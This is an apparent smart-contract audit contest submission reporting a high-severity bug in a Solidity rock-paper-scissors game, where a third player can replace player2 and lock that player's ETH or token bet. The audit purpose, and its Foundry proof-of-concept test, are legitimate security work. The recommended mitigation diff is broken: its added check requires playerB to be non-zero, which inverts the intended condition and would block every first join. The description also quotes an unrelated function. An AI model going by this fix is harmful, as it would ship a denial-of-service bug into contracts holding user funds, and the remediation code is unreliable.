Rock Paper Scissors
First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-2] `player2` can be replaced after bet made and game created, locking their deposited funds in contract without refund.

zacwilliamson

Description: After player1 creates a new game, player2 joins, matching the bet. Because the game state is still in the Created, another player 3 can join game. This replaces player2 and locks their funds in RockPaperScissors.sol.

function createGameWithEth(uint256 _totalTurns, uint256 _timeoutInterval) external payable returns (uint256) {
require(msg.value >= minBet, "Bet amount too small");
require(_totalTurns > 0, "Must have at least one turn");
require(_totalTurns % 2 == 1, "Total turns must be odd");
require(_timeoutInterval >= 5 minutes, "Timeout must be at least 5 minutes");
​
uint256 gameId = gameCounter++;
​
Game storage game = games[gameId];
game.playerA = msg.sender;
game.bet = msg.value;
game.timeoutInterval = _timeoutInterval;
game.creationTime = block.timestamp;
game.joinDeadline = block.timestamp + joinTimeout;
game.totalTurns = _totalTurns;
game.currentTurn = 1;
game.state = GameState.Created;
​
emit GameCreated(gameId, msg.sender, msg.value, _totalTurns);
​
return gameId;
}

Impact: Loss of funds from replaced player, funds locked in RockPaperScissors.sol. The same vulnerability is in joinGameWithToken where the replaced player could loose their WinningToken.

Proof of Concept: Run the following test in RockPaperScissorsTest.t.sol...

  1. Player A creates game with bet

  2. Player B joins game matching bet

  3. Player C joins game with bet, replacing Player B

Test
​
function testJoinGameWithMultiplePlayersBug() public {
// Create and fund extra player
address playerC = makeAddr("playerC");
vm.deal(playerC, 10 ether);
​
// First create a game
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
console.log("Game Balance after 1st player joins: ", address(game).balance);
​
// Now join the game
vm.startPrank(playerB);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
​
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
console.log("Game Balance after 2nd player joins: ", address(game).balance);
​
// Now join the game with a third player
vm.startPrank(playerC);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerC);
​
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
console.log("Game Balance after 3rd player joins: ", address(game).balance);
​
// Verify game state
(address player1, address player2,,,,,,,,,,,,,, RockPaperScissors.GameState state) = game.games(gameId);
​
assertEq(player1, playerA);
assertEq(player2, playerC);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
// Player 2 was pushed out of game after player C joined
assertTrue(player2 != playerB);
}
​

Recommended Mitigation:

  1. Before game is joined, check if second player already exists

  2. Add another Game status (eg: 'Pending', 'Ready') between the 'Creation' and 'Committed' phase.

Diff
​
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
​
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
+ require(game.playerB != address(0), "Game already contains 2 players");
​
​
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
​
...
​
function joinGameWithToken(uint256 _gameId) external {
Game storage game = games[_gameId];
​
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(game.bet == 0, "This game requires ETH bet");
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
+ require(game.playerB != address(0), "Game already contains 2 players");
​
winningToken.transferFrom(msg.sender, address(this), 1);
​
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
​
Updates

Appeal created

m3dython Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Absence of State Change on Join Allows Player B Hijacking

Game state remains Created after a player joins

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.